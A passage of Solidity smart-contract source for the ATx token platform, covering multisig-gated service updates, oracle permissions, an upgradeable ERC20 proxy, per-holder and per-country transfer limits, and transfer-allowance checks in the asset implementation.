/// @param _profiterole profiterole address
///
/// @return result code of an operation
function updateProfiterole(address _profiterole, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_profiterole), _block);
if (OK != _code) {
return _code;
}
profiterole = _profiterole;
return OK;
}
/// @notice Update a treasury address
///
/// @param _treasury treasury address
///
/// @return result code of an operation
function updateTreasury(address _treasury, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_treasury), _block);
if (OK != _code) {
return _code;
}
treasury = _treasury;
return OK;
}
/// @notice Update pending manager address
///
/// @param _pendingManager pending manager address
///
/// @return result code of an operation
function updatePendingManager(address _pendingManager, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_pendingManager), _block);
if (OK != _code) {
return _code;
}
pendingManager = _pendingManager;
return OK;
}
function addSideService(address _service, uint _block) public returns (uint _code) {
if (sideServices[_service]) {
return SERVICE_CONTROLLER_SERVICE_EXIST;
}
_code = _multisig(keccak256(_service), _block);
if (OK != _code) {
return _code;
}
sideServices[_service] = true;
uint _count = sideServicesCount + 1;
index2sideService[_count] = _service;
sideService2index[_service] = _count;
sideServicesCount = _count;
return OK;
}
function removeSideService(address _service, uint _block) public returns (uint _code) {
_code = _multisig(keccak256(_service), _block);
if (OK != _code) {
return _code;
}
uint _idx = sideService2index[_service];
uint _lastIdx = sideServicesCount;
if (_idx != 0) {
if (_idx != _lastIdx) {
address _lastSideService = index2sideService[_lastIdx];
index2sideService[_idx] = _lastSideService;
sideService2index[_lastSideService] = _idx;
}
delete sideService2index[_service];
delete index2sideService[_lastIdx];
delete sideServices[_service];
sideServicesCount = _lastIdx - 1;
}
return OK;
}
function getEmissionProviders()
public
view
returns (address[] _emissionProviders)
{
_emissionProviders = new address[](emissionProvidersCount);
for (uint _idx = 0; _idx < _emissionProviders.length; ++_idx) {
_emissionProviders[_idx] = index2emissionProvider[_idx + 1];
}
}
function getBurningMans()
public
view
returns (address[] _burningMans)
{
_burningMans = new address[](burningMansCount);
for (uint _idx = 0; _idx < _burningMans.length; ++_idx) {
_burningMans[_idx] = index2burningMan[_idx + 1];
}
}
function getSideServices()
public
view
returns (address[] _sideServices)
{
_sideServices = new address[](sideServicesCount);
for (uint _idx = 0; _idx < _sideServices.length; ++_idx) {
_sideServices[_idx] = index2sideService[_idx + 1];
}
}
/// @notice Check target address is service
///
/// @param _address target address
///
/// @return `true` when an address is a service, `false` otherwise
function isService(address _address) public view returns (bool check) {
return _address == profiterole ||
_address == treasury ||
_address == proxy ||
_address == pendingManager ||
emissionProviders[_address] ||
burningMans[_address] ||
sideServices[_address];
}
function _emitError(uint _errorCode) internal returns (uint) {
Error(_errorCode);
return _errorCode;
}
}
contract OracleMethodAdapter is Object {
event OracleAdded(bytes4 _sig, address _oracle);
event OracleRemoved(bytes4 _sig, address _oracle);
mapping(bytes4 => mapping(address => bool)) public oracles;
/// @dev Allow access only for oracle
modifier onlyOracle {
if (oracles[msg.sig][msg.sender]) {
_;
}
}
modifier onlyOracleOrOwner {
if (oracles[msg.sig][msg.sender] || msg.sender == contractOwner) {
_;
}
}
function addOracles(
bytes4[] _signatures,
address[] _oracles
)
onlyContractOwner
external
returns (uint)
{
require(_signatures.length == _oracles.length);
bytes4 _sig;
address _oracle;
for (uint _idx = 0; _idx < _signatures.length; ++_idx) {
(_sig, _oracle) = (_signatures[_idx], _oracles[_idx]);
if (_oracle != 0x0
&& _sig != bytes4(0)
&& !oracles[_sig][_oracle]
) {
oracles[_sig][_oracle] = true;
_emitOracleAdded(_sig, _oracle);
}
}
return OK;
}
function removeOracles(
bytes4[] _signatures,
address[] _oracles
)
onlyContractOwner
external
returns (uint)
{
require(_signatures.length == _oracles.length);
bytes4 _sig;
address _oracle;
for (uint _idx = 0; _idx < _signatures.length; ++_idx) {
(_sig, _oracle) = (_signatures[_idx], _oracles[_idx]);
if (_oracle != 0x0
&& _sig != bytes4(0)
&& oracles[_sig][_oracle]
) {
delete oracles[_sig][_oracle];
_emitOracleRemoved(_sig, _oracle);
}
}
return OK;
}
function _emitOracleAdded(bytes4 _sig, address _oracle) internal {
OracleAdded(_sig, _oracle);
}
function _emitOracleRemoved(bytes4 _sig, address _oracle) internal {
OracleRemoved(_sig, _oracle);
}
}
contract Platform {
mapping(bytes32 => address) public proxies;
function name(bytes32 _symbol) public view returns (string);
function setProxy(address _address, bytes32 _symbol) public returns (uint errorCode);
function isOwner(address _owner, bytes32 _symbol) public view returns (bool);
function totalSupply(bytes32 _symbol) public view returns (uint);
function balanceOf(address _holder, bytes32 _symbol) public view returns (uint);
function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint);
function baseUnit(bytes32 _symbol) public view returns (uint8);
function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns (uint errorCode);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public returns (uint errorCode);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public returns (uint errorCode);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) public returns (uint errorCode);
function reissueAsset(bytes32 _symbol, uint _value) public returns (uint errorCode);
function revokeAsset(bytes32 _symbol, uint _value) public returns (uint errorCode);
function isReissuable(bytes32 _symbol) public view returns (bool);
function changeOwnership(bytes32 _symbol, address _newOwner) public returns (uint errorCode);
}
contract ATxAssetProxy is ERC20, Object, ServiceAllowance {
using SafeMath for uint;
/**
* Indicates an upgrade freeze-time start, and the next asset implementation contract.
*/
event UpgradeProposal(address newVersion);
// Current asset implementation contract address.
address latestVersion;
// Assigned platform, immutable.
Platform public platform;
// Assigned symbol, immutable.
bytes32 public smbl;
// Assigned name, immutable.
string public name;
/**
* Only platform is allowed to call.
*/
modifier onlyPlatform() {
if (msg.sender == address(platform)) {
_;
}
}
/**
* Only current asset owner is allowed to call.
*/
modifier onlyAssetOwner() {
if (platform.isOwner(msg.sender, smbl)) {
_;
}
}
/**
* Only asset implementation contract assigned to sender is allowed to call.
*/
modifier onlyAccess(address _sender) {
if (getLatestVersion() == msg.sender) {
_;
}
}
/**
* Resolves asset implementation contract for the caller and forwards there transaction data,
* along with the value. This allows for proxy interface growth.
*/
function() public payable {
_getAsset().__process.value(msg.value)(msg.data, msg.sender);
}
/**
* Sets platform address, assigns symbol and name.
*
* Can be set only once.
*
* @param _platform platform contract address.
* @param _symbol assigned symbol.
* @param _name assigned name.
*
* @return success.
*/
function init(Platform _platform, string _symbol, string _name) public returns (bool) {
if (address(platform) != 0x0) {
return false;
}
platform = _platform;
symbol = _symbol;
smbl = stringToBytes32(_symbol);
name = _name;
return true;
}
/**
* Returns asset total supply.
*
* @return asset total supply.
*/
function totalSupply() public view returns (uint) {
return platform.totalSupply(smbl);
}
/**
* Returns asset balance for a particular holder.
*
* @param _owner holder address.
*
* @return holder balance.
*/
function balanceOf(address _owner) public view returns (uint) {
return platform.balanceOf(_owner, smbl);
}
/**
* Returns asset allowance from one holder to another.
*
* @param _from holder that allowed spending.
* @param _spender holder that is allowed to spend.
*
* @return holder to spender allowance.
*/
function allowance(address _from, address _spender) public view returns (uint) {
return platform.allowance(_from, _spender, smbl);
}
/**
* Returns asset decimals.
*
* @return asset decimals.
*/
function decimals() public view returns (uint8) {
return platform.baseUnit(smbl);
}
/**
* Transfers asset balance from the caller to specified receiver.
*
* @param _to holder address to give to.
* @param _value amount to transfer.
*
* @return success.
*/
function transfer(address _to, uint _value) public returns (bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, "");
}
else {
return false;
}
}
/**
* Transfers asset balance from the caller to specified receiver adding specified comment.
*
* @param _to holder address to give to.
* @param _value amount to transfer.
* @param _reference transfer comment to be included in a platform's Transfer event.
*
* @return success.
*/
function transferWithReference(address _to, uint _value, string _reference) public returns (bool) {
if (_to != 0x0) {
return _transferWithReference(_to, _value, _reference);
}
else {
return false;
}
}
/**
* Performs transfer call on the platform by the name of specified sender.
*
* Can only be called by asset implementation contract assigned to sender.
*
* @param _to holder address to give to.
* @param _value amount to transfer.
* @param _reference transfer comment to be included in a platform's Transfer event.
* @param _sender initial caller.
*
* @return success.
*/
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyTransferWithReference(_to, _value, smbl, _reference, _sender) == OK;
}
/**
* Prforms allowance transfer of asset balance between holders.
*
* @param _from holder address to take from.
* @param _to holder address to give to.
* @param _value amount to transfer.
*
* @return success.
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
if (_to != 0x0) {
return _getAsset().__transferFromWithReference(_from, _to, _value, "", msg.sender);
}
else {
return false;
}
}
/**
* Performs allowance transfer call on the platform by the name of specified sender.
*
* Can only be called by asset implementation contract assigned to sender.
*
* @param _from holder address to take from.
* @param _to holder address to give to.
* @param _value amount to transfer.
* @param _reference transfer comment to be included in a platform's Transfer event.
* @param _sender initial caller.
*
* @return success.
*/
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyTransferFromWithReference(_from, _to, _value, smbl, _reference, _sender) == OK;
}
/**
* Sets asset spending allowance for a specified spender.
*
* @param _spender holder address to set allowance to.
* @param _value amount to allow.
*
* @return success.
*/
function approve(address _spender, uint _value) public returns (bool) {
if (_spender != 0x0) {
return _getAsset().__approve(_spender, _value, msg.sender);
}
else {
return false;
}
}
/**
* Performs allowance setting call on the platform by the name of specified sender.
*
* Can only be called by asset implementation contract assigned to sender.
*
* @param _spender holder address to set allowance to.
* @param _value amount to allow.
* @param _sender initial caller.
*
* @return success.
*/
function __approve(address _spender, uint _value, address _sender) public onlyAccess(_sender) returns (bool) {
return platform.proxyApprove(_spender, _value, smbl, _sender) == OK;
}
/**
* Emits ERC20 Transfer event on this contract.
*
* Can only be, and, called by assigned platform when asset transfer happens.
*/
function emitTransfer(address _from, address _to, uint _value) public onlyPlatform() {
Transfer(_from, _to, _value);
}
/**
* Emits ERC20 Approval event on this contract.
*
* Can only be, and, called by assigned platform when asset allowance set happens.
*/
function emitApprove(address _from, address _spender, uint _value) public onlyPlatform() {
Approval(_from, _spender, _value);
}
/**
* Returns current asset implementation contract address.
*
* @return asset implementation contract address.
*/
function getLatestVersion() public view returns (address) {
return latestVersion;
}
/**
* Propose next asset implementation contract address.
*
* Can only be called by current asset owner.
*
* Note: freeze-time should not be applied for the initial setup.
*
* @param _newVersion asset implementation contract address.
*
* @return success.
*/
function proposeUpgrade(address _newVersion) public onlyAssetOwner returns (bool) {
// New version address should be other than 0x0.
if (_newVersion == 0x0) {
return false;
}
latestVersion = _newVersion;
UpgradeProposal(_newVersion);
return true;
}
function isTransferAllowed(address, address, address, address, uint) public view returns (bool) {
return true;
}
/**
* Returns asset implementation contract for current caller.
*
* @return asset implementation contract.
*/
function _getAsset() internal view returns (ATxAssetInterface) {
return ATxAssetInterface(getLatestVersion());
}
/**
* Resolves asset implementation contract for the caller and forwards there arguments along with
* the caller address.
*
* @return success.
*/
function _transferWithReference(address _to, uint _value, string _reference) internal returns (bool) {
return _getAsset().__transferWithReference(_to, _value, _reference, msg.sender);
}
function stringToBytes32(string memory source) private pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
}
contract DataControllerEmitter {
event CountryCodeAdded(uint _countryCode, uint _countryId, uint _maxHolderCount);
event CountryCodeChanged(uint _countryCode, uint _countryId, uint _maxHolderCount);
event HolderRegistered(bytes32 _externalHolderId, uint _accessIndex, uint _countryCode);
event HolderAddressAdded(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex);
event HolderAddressRemoved(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex);
event HolderOperationalChanged(bytes32 _externalHolderId, bool _operational);
event DayLimitChanged(bytes32 _externalHolderId, uint _from, uint _to);
event MonthLimitChanged(bytes32 _externalHolderId, uint _from, uint _to);
event Error(uint _errorCode);
function _emitHolderAddressAdded(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex) internal {
HolderAddressAdded(_externalHolderId, _holderPrototype, _accessIndex);
}
function _emitHolderAddressRemoved(bytes32 _externalHolderId, address _holderPrototype, uint _accessIndex) internal {
HolderAddressRemoved(_externalHolderId, _holderPrototype, _accessIndex);
}
function _emitHolderRegistered(bytes32 _externalHolderId, uint _accessIndex, uint _countryCode) internal {
HolderRegistered(_externalHolderId, _accessIndex, _countryCode);
}
function _emitHolderOperationalChanged(bytes32 _externalHolderId, bool _operational) internal {
HolderOperationalChanged(_externalHolderId, _operational);
}
function _emitCountryCodeAdded(uint _countryCode, uint _countryId, uint _maxHolderCount) internal {
CountryCodeAdded(_countryCode, _countryId, _maxHolderCount);
}
function _emitCountryCodeChanged(uint _countryCode, uint _countryId, uint _maxHolderCount) internal {
CountryCodeChanged(_countryCode, _countryId, _maxHolderCount);
}
function _emitDayLimitChanged(bytes32 _externalHolderId, uint _from, uint _to) internal {
DayLimitChanged(_externalHolderId, _from, _to);
}
function _emitMonthLimitChanged(bytes32 _externalHolderId, uint _from, uint _to) internal {
MonthLimitChanged(_externalHolderId, _from, _to);
}
function _emitError(uint _errorCode) internal returns (uint) {
Error(_errorCode);
return _errorCode;
}
}
/// @title Provides possibility manage holders? country limits and limits for holders.
contract DataController is OracleMethodAdapter, DataControllerEmitter {
/* CONSTANTS */
uint constant DATA_CONTROLLER = 109000;
uint constant DATA_CONTROLLER_ERROR = DATA_CONTROLLER + 1;
uint constant DATA_CONTROLLER_CURRENT_WRONG_LIMIT = DATA_CONTROLLER + 2;
uint constant DATA_CONTROLLER_WRONG_ALLOWANCE = DATA_CONTROLLER + 3;
uint constant DATA_CONTROLLER_COUNTRY_CODE_ALREADY_EXISTS = DATA_CONTROLLER + 4;
uint constant MAX_TOKEN_HOLDER_NUMBER = 2 ** 256 - 1;
using SafeMath for uint;
/* STRUCTS */
/// @title HoldersData couldn't be public because of internal structures, so needed to provide getters for different parts of _holderData
struct HoldersData {
uint countryCode;
uint sendLimPerDay;
uint sendLimPerMonth;
bool operational;
bytes text;
uint holderAddressCount;
mapping(uint => address) index2Address;
mapping(address => uint) address2Index;
}
struct CountryLimits {
uint countryCode;
uint maxTokenHolderNumber;
uint currentTokenHolderNumber;
}
/* FIELDS */
address public withdrawal;
address assetAddress;
address public serviceController;
mapping(address => uint) public allowance;
// Iterable mapping pattern is used for holders.
/// @dev This is an access address mapping. Many addresses may have access to a single holder.
uint public holdersCount;
mapping(uint => HoldersData) holders;
mapping(address => bytes32) holderAddress2Id;
mapping(bytes32 => uint) public holderIndex;
// This is an access address mapping. Many addresses may have access to a single holder.
uint public countriesCount;
mapping(uint => CountryLimits) countryLimitsList;
mapping(uint => uint) countryIndex;
/* MODIFIERS */
modifier onlyWithdrawal {
if (msg.sender != withdrawal) {
revert();
}
_;
}
modifier onlyAsset {
if (msg.sender == _getATxToken().getLatestVersion()) {
_;
}
}
modifier onlyContractOwner {
if (msg.sender == contractOwner) {
_;
}
}
/// @notice Constructor for _holderData controller.
/// @param _serviceController service controller
function DataController(address _serviceController) public {
require(_serviceController != 0x0);
serviceController = _serviceController;
}
function() payable public {
revert();
}
function setWithdraw(address _withdrawal) onlyContractOwner external returns (uint) {
require(_withdrawal != 0x0);
withdrawal = _withdrawal;
return OK;
}
function setServiceController(address _serviceController)
onlyContractOwner
external
returns (uint)
{
require(_serviceController != 0x0);
serviceController = _serviceController;
return OK;
}
function getPendingManager() public view returns (address) {
return ServiceController(serviceController).getPendingManager();
}
function getHolderInfo(bytes32 _externalHolderId) public view returns (
uint _countryCode,
uint _limPerDay,
uint _limPerMonth,
bool _operational,
bytes _text
) {
HoldersData storage _data = holders[holderIndex[_externalHolderId]];
return (_data.countryCode, _data.sendLimPerDay, _data.sendLimPerMonth, _data.operational, _data.text);
}
function getHolderAddresses(bytes32 _externalHolderId) public view returns (address[] _addresses) {
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
uint _addressesCount = _holderData.holderAddressCount;
_addresses = new address[](_addressesCount);
for (uint _holderAddressIdx = 0; _holderAddressIdx < _addressesCount; ++_holderAddressIdx) {
_addresses[_holderAddressIdx] = _holderData.index2Address[_holderAddressIdx + 1];
}
}
function getHolderCountryCode(bytes32 _externalHolderId) public view returns (uint) {
return holders[holderIndex[_externalHolderId]].countryCode;
}
function getHolderExternalIdByAddress(address _address) public view returns (bytes32) {
return holderAddress2Id[_address];
}
/// @notice Checks user is holder.
/// @param _address checking address.
/// @return `true` if _address is registered holder, `false` otherwise.
function isRegisteredAddress(address _address) public view returns (bool) {
return holderIndex[holderAddress2Id[_address]] != 0;
}
function isHolderOwnAddress(
bytes32 _externalHolderId,
address _address
)
public
view
returns (bool)
{
uint _holderIndex = holderIndex[_externalHolderId];
if (_holderIndex == 0) {
return false;
}
return holders[_holderIndex].address2Index[_address] != 0;
}
function getCountryInfo(uint _countryCode)
public
view
returns (
uint _maxHolderNumber,
uint _currentHolderCount
) {
CountryLimits storage _data = countryLimitsList[countryIndex[_countryCode]];
return (_data.maxTokenHolderNumber, _data.currentTokenHolderNumber);
}
function getCountryLimit(uint _countryCode) public view returns (uint limit) {
uint _index = countryIndex[_countryCode];
require(_index != 0);
return countryLimitsList[_index].maxTokenHolderNumber;
}
function addCountryCode(uint _countryCode) onlyContractOwner public returns (uint) {
var (,_created) = _createCountryId(_countryCode);
if (!_created) {
return _emitError(DATA_CONTROLLER_COUNTRY_CODE_ALREADY_EXISTS);
}
return OK;
}
/// @notice Returns holder id for the specified address, creates it if needed.
/// @param _externalHolderId holder address.
/// @param _countryCode country code.
/// @return error code.
function registerHolder(
bytes32 _externalHolderId,
address _holderAddress,
uint _countryCode
)
onlyOracleOrOwner
external
returns (uint)
{
require(_holderAddress != 0x0);
require(holderIndex[_externalHolderId] == 0);
uint _holderIndex = holderIndex[holderAddress2Id[_holderAddress]];
require(_holderIndex == 0);
_createCountryId(_countryCode);
_holderIndex = holdersCount.add(1);
holdersCount = _holderIndex;
HoldersData storage _holderData = holders[_holderIndex];
_holderData.countryCode = _countryCode;
_holderData.operational = true;
_holderData.sendLimPerDay = MAX_TOKEN_HOLDER_NUMBER;
_holderData.sendLimPerMonth = MAX_TOKEN_HOLDER_NUMBER;
uint _firstAddressIndex = 1;
_holderData.holderAddressCount = _firstAddressIndex;
_holderData.address2Index[_holderAddress] = _firstAddressIndex;
_holderData.index2Address[_firstAddressIndex] = _holderAddress;
holderIndex[_externalHolderId] = _holderIndex;
holderAddress2Id[_holderAddress] = _externalHolderId;
_emitHolderRegistered(_externalHolderId, _holderIndex, _countryCode);
return OK;
}
/// @notice Adds new address equivalent to holder.
/// @param _externalHolderId external holder identifier.
/// @param _newAddress adding address.
/// @return error code.
function addHolderAddress(
bytes32 _externalHolderId,
address _newAddress
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _newAddressId = holderIndex[holderAddress2Id[_newAddress]];
require(_newAddressId == 0);
HoldersData storage _holderData = holders[_holderIndex];
if (_holderData.address2Index[_newAddress] == 0) {
_holderData.holderAddressCount = _holderData.holderAddressCount.add(1);
_holderData.address2Index[_newAddress] = _holderData.holderAddressCount;
_holderData.index2Address[_holderData.holderAddressCount] = _newAddress;
}
holderAddress2Id[_newAddress] = _externalHolderId;
_emitHolderAddressAdded(_externalHolderId, _newAddress, _holderIndex);
return OK;
}
/// @notice Remove an address owned by a holder.
/// @param _externalHolderId external holder identifier.
/// @param _address removing address.
/// @return error code.
function removeHolderAddress(
bytes32 _externalHolderId,
address _address
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
HoldersData storage _holderData = holders[_holderIndex];
uint _tempIndex = _holderData.address2Index[_address];
require(_tempIndex != 0);
address _lastAddress = _holderData.index2Address[_holderData.holderAddressCount];
_holderData.address2Index[_lastAddress] = _tempIndex;
_holderData.index2Address[_tempIndex] = _lastAddress;
delete _holderData.address2Index[_address];
_holderData.holderAddressCount = _holderData.holderAddressCount.sub(1);
delete holderAddress2Id[_address];
_emitHolderAddressRemoved(_externalHolderId, _address, _holderIndex);
return OK;
}
/// @notice Change operational status for holder.
/// Can be accessed by contract owner or oracle only.
///
/// @param _externalHolderId external holder identifier.
/// @param _operational operational status.
///
/// @return result code.
function changeOperational(
bytes32 _externalHolderId,
bool _operational
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
holders[_holderIndex].operational = _operational;
_emitHolderOperationalChanged(_externalHolderId, _operational);
return OK;
}
/// @notice Changes text for holder.
/// Can be accessed by contract owner or oracle only.
///
/// @param _externalHolderId external holder identifier.
/// @param _text changing text.
///
/// @return result code.
function updateTextForHolder(
bytes32 _externalHolderId,
bytes _text
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
holders[_holderIndex].text = _text;
return OK;
}
/// @notice Updates limit per day for holder.
///
/// Can be accessed by contract owner only.
///
/// @param _externalHolderId external holder identifier.
/// @param _limit limit value.
///
/// @return result code.
function updateLimitPerDay(
bytes32 _externalHolderId,
uint _limit
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _currentLimit = holders[_holderIndex].sendLimPerDay;
holders[_holderIndex].sendLimPerDay = _limit;
_emitDayLimitChanged(_externalHolderId, _currentLimit, _limit);
return OK;
}
/// @notice Updates limit per month for holder.
/// Can be accessed by contract owner or oracle only.
///
/// @param _externalHolderId external holder identifier.
/// @param _limit limit value.
///
/// @return result code.
function updateLimitPerMonth(
bytes32 _externalHolderId,
uint _limit
)
onlyOracleOrOwner
external
returns (uint)
{
uint _holderIndex = holderIndex[_externalHolderId];
require(_holderIndex != 0);
uint _currentLimit = holders[_holderIndex].sendLimPerDay;
holders[_holderIndex].sendLimPerMonth = _limit;
_emitMonthLimitChanged(_externalHolderId, _currentLimit, _limit);
return OK;
}
/// @notice Change country limits.
/// Can be accessed by contract owner or oracle only.
///
/// @param _countryCode country code.
/// @param _limit limit value.
///
/// @return result code.
function changeCountryLimit(
uint _countryCode,
uint _limit
)
onlyOracleOrOwner
external
returns (uint)
{
uint _countryIndex = countryIndex[_countryCode];
require(_countryIndex != 0);
uint _currentTokenHolderNumber = countryLimitsList[_countryIndex].currentTokenHolderNumber;
if (_currentTokenHolderNumber > _limit) {
return _emitError(DATA_CONTROLLER_CURRENT_WRONG_LIMIT);
}
countryLimitsList[_countryIndex].maxTokenHolderNumber = _limit;
_emitCountryCodeChanged(_countryIndex, _countryCode, _limit);
return OK;
}
function withdrawFrom(
address _holderAddress,
uint _value
)
onlyAsset
public
returns (uint)
{
bytes32 _externalHolderId = holderAddress2Id[_holderAddress];
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
_holderData.sendLimPerDay = _holderData.sendLimPerDay.sub(_value);
_holderData.sendLimPerMonth = _holderData.sendLimPerMonth.sub(_value);
return OK;
}
function depositTo(
address _holderAddress,
uint _value
)
onlyAsset
public
returns (uint)
{
bytes32 _externalHolderId = holderAddress2Id[_holderAddress];
HoldersData storage _holderData = holders[holderIndex[_externalHolderId]];
_holderData.sendLimPerDay = _holderData.sendLimPerDay.add(_value);
_holderData.sendLimPerMonth = _holderData.sendLimPerMonth.add(_value);
return OK;
}
function updateCountryHoldersCount(
uint _countryCode,
uint _updatedHolderCount
)
public
onlyAsset
returns (uint)
{
CountryLimits storage _data = countryLimitsList[countryIndex[_countryCode]];
assert(_data.maxTokenHolderNumber >= _updatedHolderCount);
_data.currentTokenHolderNumber = _updatedHolderCount;
return OK;
}
function changeAllowance(address _from, uint _value) public onlyWithdrawal returns (uint) {
ATxAssetProxy token = _getATxToken();
if (token.balanceOf(_from) < _value) {
return _emitError(DATA_CONTROLLER_WRONG_ALLOWANCE);
}
allowance[_from] = _value;
return OK;
}
function _createCountryId(uint _countryCode) internal returns (uint, bool _created) {
uint countryId = countryIndex[_countryCode];
if (countryId == 0) {
uint _countriesCount = countriesCount;
countryId = _countriesCount.add(1);
countriesCount = countryId;
CountryLimits storage limits = countryLimitsList[countryId];
limits.countryCode = _countryCode;
limits.maxTokenHolderNumber = MAX_TOKEN_HOLDER_NUMBER;
countryIndex[_countryCode] = countryId;
_emitCountryCodeAdded(countryIndex[_countryCode], _countryCode, MAX_TOKEN_HOLDER_NUMBER);
_created = true;
}
return (countryId, _created);
}
function _getATxToken() private view returns (ATxAssetProxy) {
ServiceController _serviceController = ServiceController(serviceController);
return ATxAssetProxy(_serviceController.proxy());
}
}
/// @title Contract that will work with ERC223 tokens.
interface ERC223ReceivingInterface {
/// @notice Standard ERC223 function that will handle incoming token transfers.
/// @param _from Token sender address.
/// @param _value Amount of tokens.
/// @param _data Transaction metadata.
function tokenFallback(address _from, uint _value, bytes _data) external;
}
contract ATxProxy is ERC20 {
bytes32 public smbl;
address public platform;
function __transferWithReference(address _to, uint _value, string _reference, address _sender) public returns (bool);
function __transferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public returns (bool);
function __approve(address _spender, uint _value, address _sender) public returns (bool);
function getLatestVersion() public returns (address);
function init(address _bmcPlatform, string _symbol, string _name) public;
function proposeUpgrade(address _newVersion) public;
}
/// @title ATx Asset implementation contract.
///
/// Basic asset implementation contract, without any additional logic.
/// Every other asset implementation contracts should derive from this one.
/// Receives calls from the proxy, and calls back immediately without arguments modification.
///
/// Note: all the non constant functions return false instead of throwing in case if state change
/// didn't happen yet.
contract ATxAsset is BasicAsset, Owned {
uint public constant OK = 1;
using SafeMath for uint;
enum Roles {
Holder,
Service,
Other
}
ServiceController public serviceController;
DataController public dataController;
uint public lockupDate;
/// @notice Default constructor for ATxAsset.
function ATxAsset() public {
}
function() payable public {
revert();
}
/// @notice Init function for ATxAsset.
///
/// @param _proxy - atx asset proxy.
/// @param _serviceController - service controoler.
/// @param _dataController - data controller.
/// @param _lockupDate - th lockup date.
function initAtx(
address _proxy,
address _serviceController,
address _dataController,
uint _lockupDate
)
onlyContractOwner
public
returns (bool)
{
require(_serviceController != 0x0);
require(_dataController != 0x0);
require(_proxy != 0x0);
require(_lockupDate > now || _lockupDate == 0);
if (!super.init(ATxProxy(_proxy))) {
return false;
}
serviceController = ServiceController(_serviceController);
dataController = DataController(_dataController);
lockupDate = _lockupDate;
return true;
}
/// @notice Performs transfer call on the platform by the name of specified sender.
///
/// @dev Can only be called by proxy asset.
///
/// @param _to holder address to give to.
/// @param _value amount to transfer.
/// @param _reference transfer comment to be included in a platform's Transfer event.
/// @param _sender initial caller.
///
/// @return success.
function __transferWithReference(
address _to,
uint _value,
string _reference,
address _sender
)
onlyProxy
public
returns (bool)
{
var (_fromRole, _toRole) = _getParticipantRoles(_sender, _to);
if (!_checkTransferAllowance(_to, _toRole, _value, _sender, _fromRole)) {
return false;
}
if (!_isValidCountryLimits(_to, _toRole, _value, _sender, _fromRole)) {
return false;
}
if (!super.__transferWithReference(_to, _value, _reference, _sender)) {
return false;
}
_updateTransferLimits(_to, _toRole, _value, _sender, _fromRole);
_contractFallbackERC223(_sender, _to, _value);
return true;
}
/// @notice Performs allowance transfer call on the platform by the name of specified sender.
///
/// @dev Can only be called by proxy asset.
///
/// @param _from holder address to take from.
/// @param _to holder address to give to.
/// @param _value amount to transfer.
/// @param _reference transfer comment to be included in a platform's Transfer event.
/// @param _sender initial caller.
///
/// @return success.
function __transferFromWithReference(
address _from,
address _to,
uint _value,
string _reference,
address _sender
)
public
onlyProxy
returns (bool)
{
var (_fromRole, _toRole) = _getParticipantRoles(_from, _to);
// @note Special check for operational withdraw.
bool _isTransferFromHolderToContractOwner = (_fromRole == Roles.Holder) &&
(contractOwner == _to) &&
(dataController.allowance(_from) >= _value) &&
super.__transferFromWithReference(_from, _to, _value, _reference, _sender);
if (_isTransferFromHolderToContractOwner) {
return true;
}
if (!_checkTransferAllowanceFrom(_to, _toRole, _value, _from, _fromRole, _sender)) {
return false;
}
if (!_isValidCountryLimits(_to, _toRole, _value, _from, _fromRole)) {
return false;
}
if (!super.__transferFromWithReference(_from, _to, _value, _reference, _sender)) {
return false;
}
_updateTransferLimits(_to, _toRole, _value, _from, _fromRole);
_contractFallbackERC223(_from, _to, _value);
return true;
}
/* INTERNAL */
function _contractFallbackERC223(address _from, address _to, uint _value) internal {
uint _codeLength;
assembly {
_codeLength := extcodesize(_to)
}
if (_codeLength > 0) {
ERC223ReceivingInterface _receiver = ERC223ReceivingInterface(_to);
bytes memory _empty;
_receiver.tokenFallback(_from, _value, _empty);
}
}
function _isTokenActive() internal view returns (bool) {
return now > lockupDate;
}
function _checkTransferAllowance(address _to, Roles _toRole, uint _value, address _from, Roles _fromRole) internal view returns (bool) {
if (_to == proxy) {
return false;
}
bool _canTransferFromService = _fromRole == Roles.Service && ServiceAllowance(_from).isTransferAllowed(_from, _to, _from, proxy, _value);
bool _canTransferToService = _toRole == Roles.Service && ServiceAllowance(_to).isTransferAllowed(_from, _to, _from, proxy, _value);
bool _canTransferToHolder = _toRole == Roles.Holder && _couldDepositToHolder(_to, _value);
bool _canTransferFromHolder;
if (_isTokenActive()) {
_canTransferFromHolder = _fromRole == Roles.Holder && _couldWithdrawFromHolder(_from, _value);
} else {
_canTransferFromHolder = _fromRole == Roles.Holder && _couldWithdrawFromHolder(_from, _value) && _from == contractOwner;
}
return (_canTransferFromHolder || _canTransferFromService) && (_canTransferToHolder || _canTransferToService);
}
function _checkTransferAllowanceFrom(
address _to,
Roles _toRole,
uint _value,
address _from,
Roles _fromRole,
address
)
internal
view
returns (bool)
{
return _checkTransferAllowance(_to, _toRole, _value, _from, _fromRole);
}
